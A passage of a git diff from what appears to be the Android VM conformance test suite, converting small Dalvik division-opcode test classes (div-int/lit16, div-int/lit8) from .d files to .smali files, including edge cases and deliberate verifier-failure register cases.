+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 4
+
+       div-int/lit16 v0, v3, 4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_18.d
deleted file mode 100644
index 6215666..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_18.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit16_18.java
-.class public dot.junit.opcodes.div_int_lit16.d.T_div_int_lit16_18
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 4
-
-       div-int/lit16 v0, v4, 4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_18.smali
new file mode 100644
index 0000000..432917f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_18.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_18.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_18;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       div-int/lit16 v0, v4, 4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_2.d
deleted file mode 100644
index dd4e3f6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit16_2.java
-.class public dot.junit.opcodes.div_int_lit16.d.T_div_int_lit16_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, 1073741823
-       div-int/lit16 v0, v2, 4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_2.smali
new file mode 100644
index 0000000..8bd3014
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_2.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1073741823
+       div-int/lit16 v0, v2, 4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_3.d
deleted file mode 100644
index b3b4713..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit16_3.java
-.class public dot.junit.opcodes.div_int_lit16.d.T_div_int_lit16_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, 0
-       div-int/lit16 v0, v2, 4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_3.smali
new file mode 100644
index 0000000..12281e9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_3.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 0
+       div-int/lit16 v0, v2, 4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_4.d
deleted file mode 100644
index e131fc4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit16_4.java
-.class public dot.junit.opcodes.div_int_lit16.d.T_div_int_lit16_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, -10
-       div-int/lit16 v0, v2, 3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_4.smali
new file mode 100644
index 0000000..1bf052d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_4.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, -10
+       div-int/lit16 v0, v2, 3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_5.d
deleted file mode 100644
index b61badf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_5.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit16_5.java
-.class public dot.junit.opcodes.div_int_lit16.d.T_div_int_lit16_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, 1073741824
-       div-int/lit16 v0, v2, -3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_5.smali
new file mode 100644
index 0000000..86559c9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_5.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_5.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1073741824
+       div-int/lit16 v0, v2, -3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_6.d
deleted file mode 100644
index c97edff..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_6.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit16_6.java
-.class public dot.junit.opcodes.div_int_lit16.d.T_div_int_lit16_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, -17895697
-       div-int/lit16 v0, v2, -3000
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_6.smali
new file mode 100644
index 0000000..f38db0f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_6.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_6.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, -17895697
+       div-int/lit16 v0, v2, -3000
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_7.d
deleted file mode 100644
index 66cc917..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_7.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit16_7.java
-.class public dot.junit.opcodes.div_int_lit16.d.T_div_int_lit16_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, -2147483648
-       div-int/lit16 v0, v2, -1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_7.smali
new file mode 100644
index 0000000..e031633
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_7.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_7.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, -2147483648
+       div-int/lit16 v0, v2, -1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_8.d
deleted file mode 100644
index 6f2fd00..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_8.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit16_8.java
-.class public dot.junit.opcodes.div_int_lit16.d.T_div_int_lit16_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, -2147483648
-       div-int/lit16 v0, v2, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_8.smali
new file mode 100644
index 0000000..042da15
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_8.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_8.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, -2147483648
+       div-int/lit16 v0, v2, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_9.d
deleted file mode 100644
index 68f757e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_9.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit16_9.java
-.class public dot.junit.opcodes.div_int_lit16.d.T_div_int_lit16_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, 2147483647
-       div-int/lit16 v0, v2, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_9.smali
new file mode 100644
index 0000000..f50bdca8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_9.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_9.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 2147483647
+       div-int/lit16 v0, v2, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_1.d
deleted file mode 100644
index 4c6a389..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_1.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit8_1.java
-.class public dot.junit.opcodes.div_int_lit8.d.T_div_int_lit8_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, 8
-       div-int/lit8 v0, v2, 4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_1.smali
new file mode 100644
index 0000000..d609b0e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_1.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_1.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 8
+       div-int/lit8 v0, v2, 4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_10.d
deleted file mode 100644
index 25c0e77..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_10.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit8_10.java
-.class public dot.junit.opcodes.div_int_lit8.d.T_div_int_lit8_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, -2147483648
-       div-int/lit8 v0, v2, 127
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_10.smali
new file mode 100644
index 0000000..939d459
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_10.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_10.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, -2147483648
+       div-int/lit8 v0, v2, 127
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_11.d
deleted file mode 100644
index 9522183..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_11.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit8_11.java
-.class public dot.junit.opcodes.div_int_lit8.d.T_div_int_lit8_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, 1
-       div-int/lit8 v0, v2, 127
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_11.smali
new file mode 100644
index 0000000..6be53ab
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_11.smali
@@ -0,0 +1,35 @@
